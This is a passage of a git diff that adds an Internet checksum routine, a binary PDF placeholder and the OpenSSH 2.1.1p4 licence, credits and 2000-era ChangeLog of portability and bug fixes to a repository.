len; +{ + register int nleft = len; + register u_short *w = addr; + register int sum = 0; + u_short answer = 0; + while (nleft > 1) { sum += *w++; nleft -= 2; } + if (nleft == 1) { *(u_char *) (&answer) = *(u_char *) w; sum += answer; } + sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */ + sum += (sum >> 16); /* add carry */ + answer = ~sum; /* truncate to 16 bits */ + return (answer); +} diff --git a/other/mipsshellcode/mipsshellcode.pdf b/other/mipsshellcode/mipsshellcode.pdf new file mode 100644 index 0000000..1d78bf4 Binary files /dev/null and b/other/mipsshellcode/mipsshellcode.pdf differ diff --git a/other/openssh-2.1.1p4/COPYING.Ylonen b/other/openssh-2.1.1p4/COPYING.Ylonen new file mode 100644 index 0000000..ad17df1 --- /dev/null +++ b/other/openssh-2.1.1p4/COPYING.Ylonen @@ -0,0 +1,70 @@ +This file is part of the ssh software, Copyright (c) 1995 Tatu Ylonen, Finland + + +COPYING POLICY AND OTHER LEGAL ISSUES + +As far as I am concerned, the code I have written for this software +can be used freely for any purpose. Any derived versions of this +software must be clearly marked as such, and if the derived work is +incompatible with the protocol description in the RFC file, it must be +called by a name other than "ssh" or "Secure Shell". + +However, I am not implying to give any licenses to any patents or +copyrights held by third parties, and the software includes parts that +are not under my direct control. As far as I know, all included +source code is used in accordance with the relevant license agreements +and can be used freely for any purpose (the GNU license being the most +restrictive); see below for details. + +[ RSA is no longer included. ] +[ IDEA is no longer included. ] +[ DES is now external. ] +[ GMP is now external. No more GNU licence. ] +[ Zlib is now external. ] +[ The make-ssh-known-hosts script is no longer included. ] +[ TSS has been removed. ] +[ MD5 is now external. ] +[ RC4 support has been removed (RC4 is used internally for arc4random). ] +[ Blowfish is now external. ] + +The 32-bit CRC implementation in crc32.c is due to Gary S. Brown. +Comments in the file indicate it may be used for any purpose without +restrictions. + +The 32-bit CRC compensation attack detector in deattack.c was +contributed by CORE SDI S.A. under a BSD-style license. See +http://www.core-sdi.com/english/ssh/ for details. + +Note that any information and cryptographic algorithms used in this +software are publicly available on the Internet and at any major +bookstore, scientific library, and patent office worldwide. More +information can be found e.g. at "http://www.cs.hut.fi/crypto". + +The legal status of this program is some combination of all these +permissions and restrictions. Use only at your own responsibility. +You will be responsible for any legal consequences yourself; I am not +making any claims whether possessing or using this is legal or not in +your country, and I am not taking any responsibility on your behalf. + + + NO WARRANTY + +BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY +FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN +OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES +PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED +OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS +TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE +PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, +REPAIR OR CORRECTION. + +IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR +REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, +INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING +OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED +TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY +YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER +PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE +POSSIBILITY OF SUCH DAMAGES. diff --git a/other/openssh-2.1.1p4/CREDITS b/other/openssh-2.1.1p4/CREDITS new file mode 100644 index 0000000..2c7dab9 --- /dev/null +++ b/other/openssh-2.1.1p4/CREDITS @@ -0,0 +1,68 @@ +Tatu Ylonen - Creator of SSH + +Aaron Campbell, Bob Beck, Markus Friedl, Niels Provos, +Theo de Raadt, and Dug Song - Creators of OpenSSH + +Andre Lucas - new login code, many fixes +Andreas Steinmetz - Shadow password expiry support +Andrew McGill - SCO fixes +Andrew Stribblehill - Bugfixes +Andy Sloane - bugfixes +Arkadiusz Miskiewicz - IPv6 compat fixes +Ben Lindstrom - NeXT support +Ben Taylor - Solaris debugging and fixes +Bratislav ILICH - Configure fix +Chip Salzenberg - Assorted patches +Chris Adams - OSF SIA support +Chris Saia - SuSE packaging +Chris, the Young One - Password auth fixes +Christos Zoulas - Autoconf fixes +Chun-Chung Chen - RPM fixes +Dan Brosemer - Autoconf support, build fixes +Darren Hall - AIX patches +David Agraz - Build fixes +David Del Piero - bug fixes +David Hesprich - Configure fixes +David Rankin - libwrap, AIX, NetBSD fixes +Ed Eden - configure fixes +Garrick James - configure fixes +Gary E. Miller - SCO support +Ged Lodder - HPUX fixes and enhancements +Gert Doering - bug and portability fixes +HARUYAMA Seigo - Translations & doc fixes +Hideaki YOSHIFUJI - IPv6 and bug fixes +Hiroshi Takekawa - Configure fixes +Holger Trapp - KRB4/AFS config patch +IWAMURO Motonori - bugfixes +Jani Hakala - Patches +Jarno Huuskonen - Bugfixes +Jim Knoble - Many patches +Jonchen (email unknown) - the original author of PAM support of SSH +Juergen Keil - scp bugfixing +Kees Cook - scp fixes +Kenji Miyake - Configure fixes +Kevin O'Connor - RSAless operation +Kiyokazu SUTO - Bugfixes +Lutz Jaenicke - Bugfixes +Marc G. Fournier - Solaris patches +Matt Richards - AIX patches +Michael Stone - Irix enhancements +Nalin Dahyabhai - PAM environment patch +Niels Kristian Bech Jensen - Assorted patches +Peter Kocks - Makefile fixes +Phil Hands - Debian scripts, assorted patches +Phil Karn - Autoconf fix +Phill Camp - login code fix +SAKAI Kiyotaka - Multiple bugfixes +Simon Wilkinson - PAM fixes +Svante Signell - Bugfixes +Thomas Neumann - Shadow passwords +Tom Bertelson's - AIX auth fixes +Tor-Ake Fransson - AIX support +Tudor Bosman - MD5 password support +Udo Schweigert - ReliantUNIX support +Zack Weinberg - GNOME askpass enhancement + +Apologies to anyone I have missed. + +Damien Miller diff --git a/other/openssh-2.1.1p4/ChangeLog b/other/openssh-2.1.1p4/ChangeLog new file mode 100644 index 0000000..ed89d88 --- /dev/null +++ b/other/openssh-2.1.1p4/ChangeLog @@ -0,0 +1,1897 @@ +20000716 + - Release 2.1.1p4 + +20000715 + - (djm) OpenBSD CVS updates + - provos@cvs.openbsd.org 2000/07/13 16:53:22 + [aux.c readconf.c servconf.c ssh.h] + allow multiple whitespace but only one '=' between tokens, bug report from + Ralf S. Engelschall but different fix. okay deraadt@ + - provos@cvs.openbsd.org 2000/07/13 17:14:09 + [clientloop.c] + typo; todd@fries.net + - provos@cvs.openbsd.org 2000/07/13 17:19:31 + [scp.c] + close can fail on AFS, report error; from Greg Hudson + - markus@cvs.openbsd.org 2000/07/14 16:59:46 + [readconf.c servconf.c] + allow leading whitespace. ok niels + - djm@cvs.openbsd.org 2000/07/14 22:01:38 + [ssh-keygen.c ssh.c] + Always create ~/.ssh with mode 700; ok Markus + - Fixes for SunOS 4.1.4 from Gordon Atwood + - Include floatingpoint.h for entropy.c + - strerror replacement + +20000712 + - (djm) Remove -lresolve for Reliant Unix + - (djm) OpenBSD CVS Updates: + - deraadt@cvs.openbsd.org 2000/07/11 02:11:34 + [session.c sshd.c ] + make MaxStartups code still work with -d; djm + - deraadt@cvs.openbsd.org 2000/07/11 13:17:45 + [readconf.c ssh_config] + disable FallBackToRsh by default + - (djm) Replace in_addr_t with u_int32_t in bsd-inet_aton.c. Report from + Ben Lindstrom + - (djm) Make building of X11-Askpass and GNOME-Askpass optional in RPM + spec file. + - (djm) Released 2.1.1p3 + +20000711 + - (djm) Fixup for AIX getuserattr() support from Tom Bertelson + + - (djm) ReliantUNIX support from Udo Schweigert + - (djm) NeXT: dirent structures to get scp working from Ben Lindstrom + + - (djm) Fix broken inet_ntoa check and ut_user/ut_name confusion, report + from Jim Watt + - (djm) Replaced bsd-snprintf.c with one from Mutt source tree, it is known + to compile on more platforms (incl NeXT). + - (djm) Added bsd-inet_aton and configure support for NeXT + - (djm) Misc NeXT fixes from Ben Lindstrom + - (djm) OpenBSD CVS updates: + - markus@cvs.openbsd.org 2000/06/26 03:22:29 + [authfd.c] + cleanup, less cut&paste + - markus@cvs.openbsd.org 2000/06/26 15:59:19 + [servconf.c servconf.h session.c sshd.8 sshd.c] + MaxStartups: limit number of unauthenticated connections, work by + theo and me + - deraadt@cvs.openbsd.org 2000/07/05 14:18:07 + [session.c] + use no_x11_forwarding_flag correctly; provos ok + - provos@cvs.openbsd.org 2000/07/05 15:35:57 + [sshd.c] + typo + - aaron@cvs.openbsd.org 2000/07/05 22:06:58 + [scp.1 ssh-agent.1 ssh-keygen.1 sshd.8] + Insert more missing .El directives. Our troff really should identify + these and spit out a warning. + - todd@cvs.openbsd.org 2000/07/06 21:55:04 + [auth-rsa.c auth2.c ssh-keygen.c] + clean code is good code + - deraadt@cvs.openbsd.org 2000/07/07 02:14:29 + [serverloop.c] + sense of port forwarding flag test was backwards + - provos@cvs.openbsd.org 2000/07/08 17:17:31 + [compat.c readconf.c] + replace strtok with strsep; from David Young + - deraadt@cvs.openbsd.org 2000/07/08 19:21:15 + [auth.h] + KNF + - ho@cvs.openbsd.org 2000/07/08 19:27:33 + [compat.c readconf.c] + Better conditions for strsep() ending. + - ho@cvs.openbsd.org 2000/07/10 10:27:05 + [readconf.c] + Get the correct message on errors. (niels@ ok) + - ho@cvs.openbsd.org 2000/07/10 10:30:25 + [cipher.c kex.c servconf.c] + strtok() --> strsep(). (niels@ ok) + - (djm) Fix problem with debug mode and MaxStartups + - (djm) Don't generate host keys when $(DESTDIR) is set (e.g. during RPM + builds) + - (djm) Add strsep function from OpenBSD libc for systems that lack it + +20000709 + - (djm) Only enable PAM_TTY kludge for Linux. Problem report from + Kevin Steves + - (djm) Match prototype and function declaration for rresvport_af. + Problem report from Niklas Edmundsson + - (djm) Missing $(DESTDIR) on host-key target causing problems with RPM + builds. Problem report from Gregory Leblanc + - (djm) Replace ut_name with ut_user. Patch from Jim Watt + + - (djm) Fix pam sprintf fix + - (djm) Cleanup entropy collection code a little more. Split initialisation + from seeding, perform intialisation immediatly at start, be careful with + uids. Based on problem report from Jim Watt + - (djm) More NeXT compatibility from Ben Lindstrom + Including sigaction() et al. replacements + - (djm) AIX getuserattr() session initialisation from Tom Bertelson + + +20000708 + - (djm) Fix bad fprintf format handling in auth-pam.c. Patch from + Aaron Hopkins + - (djm) Fix incorrect configure handling of --with-rsh-path option. Fix from + Lutz Jaenicke + - (djm) Fixed undefined variables for OSF SIA. Report from + Baars, Henk + - (djm) Handle EWOULDBLOCK returns from read() and write() in atomicio.c + Fix from Marquess, Steve Mr JMLFDC + - (djm) Don't use inet_addr. + +20000702 + - (djm) Fix brace mismatch from Corinna Vinschen + - (djm) Stop shadow expiry checking from preventing logins with NIS. Based + on fix from HARUYAMA Seigo + - (djm) Use standard OpenSSL functions in auth-skey.c. Patch from + Chris, the Young One + - (djm) Fix scp progress meter on really wide terminals. Based on patch + from James H. Cloos Jr. + +20000701 + - (djm) Fix Tru64 SIA problems reported by John P Speno + - (djm) Login fixes from Tom Bertelson + - (djm) Replace "/bin/sh" with _PATH_BSHELL. Report from Corinna Vinschen + + - (djm) Replace "/usr/bin/login" with LOGIN_PROGRAM + - (djm) Added check for broken snprintf() functions which do not correctly + terminate output string and attempt to use replacement. + - (djm) Released 2.1.1p2 + +20000628 + - (djm) Fixes to lastlog code for Irix + - (djm) Use atomicio in loginrec + - (djm) Patch from Michael Stone to add support for + Irix 6.x array sessions, project id's, and system audit trail id. + - (djm) Added 'distprep' make target to simplify packaging + - (djm) Added patch from Chris Adams to add OSF SIA + support. Enable using "USE_SIA=1 ./configure [options]" + +20000627 + - (djm) Fixes to login code - not setting li->uid, cleanups + - (djm) Formatting + +20000626 + - (djm) Better fix to aclocal tests from Garrick James + - (djm) Account expiry support from Andreas Steinmetz + - (djm) Added password expiry checking (no password change support) + - (djm) Make EGD failures non-fatal if OpenSSL's entropy pool is still OK + based on patch from Lutz Jaenicke + - (djm) Fix fixed EGD code. + - OpenBSD CVS update + - provos@cvs.openbsd.org 2000/06/25 14:17:58 + [channels.c] + correct check for bad channel ids; from Wei Dai + +20000623 + - (djm) Use sa_family_t in prototype for rresvport_af. Patch from + Svante Signell + - (djm) Autoconf logic to define sa_family_t if it is missing + - OpenBSD CVS Updates: + - markus@cvs.openbsd.org 2000/06/22 10:32:27 + [sshd.c] + missing atomicio; report from Steve.Marquess@DET.AMEDD.ARMY.MIL + - djm@cvs.openbsd.org 2000/06/22 17:55:00 + [auth-krb4.c key.c radix.c uuencode.c] + Missing CVS idents; ok markus + +20000622 + - (djm) Automatically generate host key during "make install". Suggested + by Gary E. Miller + - (djm) Paranoia before kill() system call + - OpenBSD CVS Updates: + - markus@cvs.openbsd.org 2000/06/18 18:50:11 + [auth2.c compat.c compat.h sshconnect2.c] + make userauth+pubkey interop with ssh.com-2.2.0 + - markus@cvs.openbsd.org 2000/06/18 20:56:17 + [dsa.c] + mem leak + be more paranoid in dsa_verify. + - markus@cvs.openbsd.org 2000/06/18 21:29:50 + [key.c] + cleanup fingerprinting, less hardcoded sizes + - markus@cvs.openbsd.org 2000/06/19 19:39:45 + [atomicio.c auth-options.c auth-passwd.c auth-rh-rsa.c auth-rhosts.c] + [auth-rsa.c auth-skey.c authfd.c authfd.h authfile.c bufaux.c bufaux.h] + [buffer.c buffer.h canohost.c channels.c channels.h cipher.c cipher.h] + [clientloop.c compat.c compat.h compress.c compress.h crc32.c crc32.h] + [deattack.c dispatch.c dsa.c fingerprint.c fingerprint.h getput.h hmac.c] + [kex.c log-client.c log-server.c login.c match.c mpaux.c mpaux.h nchan.c] + [nchan.h packet.c packet.h pty.c pty.h readconf.c readconf.h readpass.c] + [rsa.c rsa.h scp.c servconf.c servconf.h ssh-add.c ssh-keygen.c ssh.c] + [ssh.h tildexpand.c ttymodes.c ttymodes.h uidswap.c xmalloc.c xmalloc.h] + OpenBSD tag + - markus@cvs.openbsd.org 2000/06/21 10:46:10 + sshconnect2.c missing free; nuke old comment + +20000620 + - (djm) Replace use of '-o' and '-a' logical operators in configure tests + with '||' and '&&'. As suggested by Jim Knoble + to fix SCO Unixware problem reported by Gary E. Miller + - (djm) Typo in loginrec.c + +20000618 + - (djm) Add summary of configure options to end of ./configure run + - (djm) Not all systems define RUSAGE_SELF & RUSAGE_CHILDREN. Report from + Michael Stone + - (djm) rusage is a privileged operation on some Unices (incl. + Solaris 2.5.1). Report from Paul D. Smith + - (djm) Avoid PAM failures when running without a TTY. Report from + Martin Petrak + - (djm) Include sys/types.h when including netinet/in.h in configure tests. + Patch from Jun-ichiro itojun Hagino + - (djm) Started merge of Ben Lindstrom's NeXT support + - OpenBSD CVS updates: + - deraadt@cvs.openbsd.org 2000/06/17 09:58:46 + [channels.c] + everyone says "nix it" (remove protocol 2 debugging message) + - markus@cvs.openbsd.org 2000/06/17 13:24:34 + [sshconnect.c] + allow extended server banners + - markus@cvs.openbsd.org 2000/06/17 14:30:10 + [sshconnect.c] + missing atomicio, typo + - jakob@cvs.openbsd.org 2000/06/17 16:52:34 + [servconf.c servconf.h session.c sshd.8 sshd_config] + add support for ssh v2 subsystems. ok markus@. + - deraadt@cvs.openbsd.org 2000/06/17 18:57:48 + [readconf.c servconf.c] + include = in WHITESPACE; markus ok + - markus@cvs.openbsd.org 2000/06/17 19:09:10 + [auth2.c] + implement bug compatibility with ssh-2.0.13 pubkey, server side + - markus@cvs.openbsd.org 2000/06/17 21:00:28 + [compat.c] + initial support for ssh.com's 2.2.0 + - markus@cvs.openbsd.org 2000/06/17 21:16:09 + [scp.c] + typo + - markus@cvs.openbsd.org 2000/06/17 22:05:02 + [auth-rsa.c auth2.c serverloop.c session.c auth-options.c auth-options.h] + split auth-rsa option parsing into auth-options + add options support to authorized_keys2 + - markus@cvs.openbsd.org 2000/06/17 22:42:54 + [session.c] + typo + +20000613 + - (djm) Fixes from Andrew McGill : + - Platform define for SCO 3.x which breaks on /dev/ptmx + - Detect and try to fix missing MAXPATHLEN + - (djm) Fix short copy in loginrec.c (based on patch from Phill Camp + + +20000612 + - (djm) Glob manpages in RPM spec files to catch compressed files + - (djm) Full license in auth-pam.c + - (djm) Configure fixes from SAKAI Kiyotaka + - (andre) AIX, lastlog, configure fixes from Tom Bertelson : + - Don't try to retrieve lastlog from wtmp/wtmpx if DISABLE_LASTLOG is + def'd + - Set AIX to use preformatted manpages + +20000610 + - (djm) Minor doc tweaks + - (djm) Fix for configure on bash2 from Jim Knoble + +20000609 + - (djm) Patch from Kenji Miyake to disable utmp usage + (in favour of utmpx) on Solaris 8 + +20000606 + - (djm) Cleanup of entropy.c. Reorganised code, removed second pass through + list of commands (by default). Removed verbose debugging (by default). + - (djm) Increased command entropy estimates and default entropy collection + timeout + - (djm) Remove duplicate headers from loginrec.c + - (djm) Don't add /usr/local/lib to library search path on Irix + - (djm) Fix rsh path in RPMs. Report from Jason L Tibbitts III + + - (djm) Warn user if grabs fail in GNOME askpass. Patch from Zack Weinberg + + - (djm) OpenBSD CVS updates: + - todd@cvs.openbsd.org + [sshconnect2.c] + teach protocol v2 to count login failures properly and also enable an + explanation of why the password prompt comes up again like v1; this is NOT + crypto + - markus@cvs.openbsd.org + [readconf.c readconf.h servconf.c servconf.h session.c ssh.1 ssh.c sshd.8] + xauth_location support; pr 1234 + [readconf.c sshconnect2.c] + typo, unused + [session.c] + allow use_login only for login sessions, otherwise remote commands are + execed with uid==0 + [sshd.8] + document UseLogin better + [version.h] + OpenSSH 2.1.1 + [auth-rsa.c] + fix match_hostname() logic for auth-rsa: deny access if we have a + negative match or no match at all + [channels.c hostfile.c match.c] + don't panic if mkdtemp fails for authfwd; jkb@yahoo-inc.com via + kris@FreeBSD.org + +20000606 + - (djm) Added --with-cflags, --with-ldflags and --with-libs options to + configure. + +20000604 + - Configure tweaking for new login code on Irix 5.3 + - (andre) login code changes based on djm feedback + +20000603 + - (andre) New login code + - Remove bsd-login.[ch] and all the OpenBSD-derived code in login.c + - Add loginrec.[ch], logintest.c and autoconf code + +20000531 + - Cleanup of auth.c, login.c and fake-* + - Cleanup of auth-pam.c, save and print "account expired" error messages + - Fix EGD read bug by IWAMURO Motonori + - Rewrote bsd-login to use proper utmp API if available. Major cleanup + of fallback DIY code. + +20000530 + - Define atexit for old Solaris + - Fix buffer overrun in login.c for systems which use syslen in utmpx. + patch from YOSHIFUJI Hideaki + - OpenBSD CVS updates: + - markus@cvs.openbsd.org + [session.c] + make x11-fwd work w/ localhost (xauth add host/unix:11) + [cipher.c compat.c readconf.c servconf.c] + check strtok() != NULL; ok niels@ + [key.c] + fix key_read() for uuencoded keys w/o '=' + [serverloop.c] + group ssh1 vs. ssh2 in serverloop + [kex.c kex.h myproposal.h sshconnect2.c sshd.c] + split kexinit/kexdh, factor out common code + [readconf.c ssh.1 ssh.c] + forwardagent defaults to no, add ssh -A + - theo@cvs.openbsd.org + [session.c] + just some line shortening + - Released 2.1.0p3 + +20000520 + - Xauth fix from Markus Friedl + - Don't touch utmp if USE_UTMPX defined + - SunOS 4.x support from Todd C. Miller + - SIGCHLD fix for AIX and HPUX from Tom Bertelson + - HPUX and Configure fixes from Lutz Jaenicke + + - Use mkinstalldirs script to make directories instead of non-portable + "install -d". Suggested by Lutz Jaenicke + - Doc cleanup + +20000518 + - Include Andre Lucas' fixprogs script. Forgot to "cvs add" it yesterday + - OpenBSD CVS updates: + - markus@cvs.openbsd.org + [sshconnect.c] + copy only ai_addrlen bytes; misiek@pld.org.pl + [auth.c] + accept an empty shell in authentication; bug reported by + chris@tinker.ucr.edu + [serverloop.c] + we don't have stderr for interactive terminal sessions (fcntl errors) + +20000517 + - Fix from Andre Lucas + - Fixes command line printing segfaults (spotter: Bladt Norbert) + - Fixes erroneous printing of debug messages to syslog + - Fixes utmp for MacOS X (spotter: Aristedes Maniatis) + - Gives useful error message if PRNG initialisation fails + - Reduced ssh startup delay + - Measures cumulative command time rather than the time between reads + after select() + - 'fixprogs' perl script to eliminate non-working entropy commands, and + optionally run 'ent' to measure command entropy + - Applied Tom Bertelson's AIX authentication fix + - Avoid WCOREDUMP complation errors for systems that lack it + - Avoid SIGCHLD warnings from entropy commands + - Fix HAVE_PAM_GETENVLIST setting from Simon Wilkinson + - OpenBSD CVS update: + - markus@cvs.openbsd.org + [ssh.c] + fix usage() + [ssh2.h] + draft-ietf-secsh-architecture-05.txt + [ssh.1] + document ssh -T -N (ssh2 only) + [channels.c serverloop.c ssh.h sshconnect.c sshd.c aux.c] + enable nonblocking IO for sshd w/ proto 1, too; split out common code + [aux.c] + missing include + - Several patches from SAKAI Kiyotaka + - INSTALL typo and URL fix + - Makefile fix + - Solaris fixes + - Checking for ssize_t and memmove. Based on patch from SAKAI Kiyotaka + + - RSAless operation patch from kevin_oconnor@standardandpoors.com + - Detect OpenSSL seperatly from RSA + - Better test for RSA (more compatible with RSAref). Based on work by + Ed Eden + +20000513 + - Fix for non-recognised DSA keys from Arkadiusz Miskiewicz + + +20000511 + - Fix for prng_seed permissions checking from Lutz Jaenicke + + - "make host-key" fix for Irix + +20000509 + - OpenBSD CVS update + - markus@cvs.openbsd.org + [cipher.h myproposal.h readconf.c readconf.h servconf.c ssh.1 ssh.c] + [ssh.h sshconnect1.c sshconnect2.c sshd.8] + - complain about invalid ciphers in SSH1 (e.g. arcfour is SSH2 only) + - hugh@cvs.openbsd.org + [ssh.1] + - zap typo + [ssh-keygen.1] + - One last nit fix. (markus approved) + [sshd.8] + - some markus certified spelling adjustments + - markus@cvs.openbsd.org + [auth2.c channels.c clientloop.c compat compat.h dsa.c kex.c] + [sshconnect2.c ] + - bug compat w/ ssh-2.0.13 x11, split out bugs + [nchan.c] + - no drain if ibuf_empty, fixes x11fwd problems; tests by fries@ + [ssh-keygen.c] + - handle escapes in real and original key format, ok millert@ + [version.h] + - OpenSSH-2.1 + - Moved all the bsd-* and fake-* stuff into new libopenbsd-compat.a + - Doc updates + - Cleanup of bsd-base64 headers, bugfix definitions of __b64_*. Reported + by Andre Lucas + +20000508 + - Makefile and RPM spec fixes + - Generate DSA host keys during "make key" or RPM installs + - OpenBSD CVS update + - markus@cvs.openbsd.org + [clientloop.c sshconnect2.c] + - make x11-fwd interop w/ ssh-2.0.13 + [README.openssh2] + - interop w/ SecureFX + - Release 2.0.0beta2 + + - Configure caching and cleanup patch from Andre Lucas' + + +20000507 + - Remove references to SSLeay. + - Big OpenBSD CVS update + - markus@cvs.openbsd.org + [clientloop.c] + - typo + [session.c] + - update proctitle on pty alloc/dealloc, e.g. w/ windows client + [session.c] + - update proctitle for proto 1, too + [channels.h nchan.c serverloop.c session.c sshd.c] + - use c-style comments + - deraadt@cvs.openbsd.org + [scp.c] + - more atomicio + - markus@cvs.openbsd.org + [channels.c] + - set O_NONBLOCK + [ssh.1] + - update AUTHOR + [readconf.c ssh-keygen.c ssh.h] + - default DSA key file ~/.ssh/id_dsa + [clientloop.c] + - typo, rm verbose debug + - deraadt@cvs.openbsd.org + [ssh-keygen.1] + - document DSA use of ssh-keygen + [sshd.8] + - a start at describing what i understand of the DSA side + [ssh-keygen.1] + - document -X and -x + [ssh-keygen.c] + - simplify usage + - markus@cvs.openbsd.org + [sshd.8] + - there is no rhosts_dsa + [ssh-keygen.1] + - document -y, update -X,-x + [nchan.c] + - fix close for non-open ssh1 channels + [servconf.c servconf.h ssh.h sshd.8 sshd.c ] + - s/DsaKey/HostDSAKey/, document option + [sshconnect2.c] + - respect number_of_password_prompts + [channels.c channels.h servconf.c servconf.h session.c sshd.8] + - GatewayPorts for sshd, ok deraadt@ + [ssh-add.1 ssh-agent.1 ssh.1] + - more doc on: DSA, id_dsa, known_hosts2, authorized_keys2 + [ssh.1] + - more info on proto 2 + [sshd.8] + - sync AUTHOR w/ ssh.1 + [key.c key.h sshconnect.c] + - print key type when talking about host keys + [packet.c] + - clear padding in ssh2 + [dsa.c key.c radix.c ssh.h sshconnect1.c uuencode.c uuencode.h] + - replace broken uuencode w/ libc b64_ntop + [auth2.c] + - log failure before sending the reply + [key.c radix.c uuencode.c] + - remote trailing comments before calling __b64_pton + [auth2.c readconf.c readconf.h servconf.c servconf.h ssh.1] + [sshconnect2.c sshd.8] + - add DSAAuthetication option to ssh/sshd, document SSH2 in sshd.8 + - Bring in b64_ntop and b64_pton from OpenBSD libc (bsd-base64.[ch]) + +20000502 + - OpenBSD CVS update + [channels.c] + - init all fds, close all fds. + [sshconnect2.c] + - check whether file exists before asking for passphrase + [servconf.c servconf.h sshd.8 sshd.c] + - PidFile, pr 1210 + [channels.c] + - EINTR + [channels.c] + - unbreak, ok niels@ + [sshd.c] + - unlink pid file, ok niels@ + [auth2.c] + - Add missing #ifdefs; ok - markus + - Add Andre Lucas' patch to read entropy + gathering commands from a text file + - Release 2.0.0beta1 + +20000501 + - OpenBSD CVS update + [packet.c] + - send debug messages in SSH2 format + [scp.c] + - fix very rare EAGAIN/EINTR issues; based on work by djm + [packet.c] + - less debug, rm unused + [auth2.c] + - disable kerb,s/key in ssh2 + [sshd.8] + - Minor tweaks and typo fixes. + [ssh-keygen.c] + - Put -d into usage and reorder. markus ok. + - Include missing headers for OpenSSL tests. Fix from Phil Karn + + - Fixed __progname symbol collisions reported by Andre Lucas + + - Merged bsd-login ttyslot and AIX utmp patch from Gert Doering + + - Add some missing ifdefs to auth2.c + - Deprecate perl-tk askpass. + - Irix portability fixes - don't include netinet headers more than once + - Make sure we don't save PRNG seed more than once + +20000430 + - Merge HP-UX fixes and TCB support from Ged Lodder + - Integrate Andre Lucas' entropy collection + patch. + - Adds timeout to entropy collection + - Disables slow entropy sources + - Load and save seed file + - Changed entropy seed code to user per-user seeds only (server seed is + saved in root's .ssh directory) + - Use atexit() and fatal cleanups to save seed on exit + - More OpenBSD updates: + [session.c] + - don't call chan_write_failed() if we are not writing + [auth-rsa.c auth1.c authfd.c hostfile.c ssh-agent.c] + - keysize warnings error() -> log() + +20000429 + - Merge big update to OpenSSH-2.0 from OpenBSD CVS + [README.openssh2] + - interop w/ F-secure windows client + - sync documentation + - ssh_host_dsa_key not ssh_dsa_key + [auth-rsa.c] + - missing fclose + [auth.c authfile.c compat.c dsa.c dsa.h hostfile.c key.c key.h radix.c] + [readconf.c readconf.h ssh-add.c ssh-keygen.c ssh.c ssh.h sshconnect.c] + [sshd.c uuencode.c uuencode.h authfile.h] + - add DSA pubkey auth and other SSH2 fixes. use ssh-keygen -[xX] + for trading keys with the real and the original SSH, directly from the + people who invented the SSH protocol. + [auth.c auth.h authfile.c sshconnect.c auth1.c auth2.c sshconnect.h] + [sshconnect1.c sshconnect2.c] + - split auth/sshconnect in one file per protocol version + [sshconnect2.c] + - remove debug + [uuencode.c] + - add trailing = + [version.h] + - OpenSSH-2.0 + [ssh-keygen.1 ssh-keygen.c] + - add -R flag: exit code indicates if RSA is alive + [sshd.c] + - remove unused + silent if -Q is specified + [ssh.h] + - host key becomes /etc/ssh_host_dsa_key + [readconf.c servconf.c ] + - ssh/sshd default to proto 1 and 2 + [uuencode.c] + - remove debug + [auth2.c ssh-keygen.c sshconnect2.c sshd.c] + - xfree DSA blobs + [auth2.c serverloop.c session.c] + - cleanup logging for sshd/2, respect PasswordAuth no + [sshconnect2.c] + - less debug, respect .ssh/config + [README.openssh2 channels.c channels.h] + - clientloop.c session.c ssh.c + - support for x11-fwding, client+server + +20000421 + - Merge fix from OpenBSD CVS + [ssh-agent.c] + - Fix memory leak per connection. Report from Andy Spiegl + via Debian bug #59926 + - Define __progname in session.c if libc doesn't + - Remove indentation on autoconf #include statements to avoid bug in + DEC Tru64 compiler. Report and fix from David Del Piero + + +20000420 + - Make fixpaths work with perl4, patch from Andre Lucas + + - Sync with OpenBSD CVS: + [clientloop.c login.c serverloop.c ssh-agent.c ssh.h sshconnect.c sshd.c] + - pid_t + [session.c] + - remove bogus chan_read_failed. this could cause data + corruption (missing data) at end of a SSH2 session. + - Merge fixes from Debian patch from Phil Hands + - Allow setting of PAM service name through CFLAGS (SSHD_PAM_SERVICE) + - Use vhangup to clean up Linux ttys + - Force posix getopt processing on GNU libc systems + - Debian bug #55910 - remove references to ssl(8) manpages + - Debian bug #58031 - ssh_config lies about default cipher + +20000419 + - OpenBSD CVS updates + [channels.c] + - fix pr 1196, listen_port and port_to_connect interchanged + [scp.c] + - after completion, replace the progress bar ETA counter with a final + elapsed time; my idea, aaron wrote the patch + [ssh_config sshd_config] + - show 'Protocol' as an example, ok markus@ + [sshd.c] + - missing xfree() + - Add missing header to bsd-misc.c + +20000416 + - Reduce diff against OpenBSD source + - All OpenSSL includes are now unconditionally referenced as + openssl/foo.h + - Pick up formatting changes + - Other minor changed (typecasts, etc) that I missed + +20000415 + - OpenBSD CVS updates. + [ssh.1 ssh.c] + - ssh -2 + [auth.c channels.c clientloop.c packet.c packet.h serverloop.c] + [session.c sshconnect.c] + - check payload for (illegal) extra data + [ALL] + whitespace cleanup + +20000413 + - INSTALL doc updates + - Merged OpenBSD updates to include paths. + +20000412 + - OpenBSD CVS updates: + - [channels.c] + repair x11-fwd + - [sshconnect.c] + fix passwd prompt for ssh2, less debugging output. + - [clientloop.c compat.c dsa.c kex.c sshd.c] + less debugging output + - [kex.c 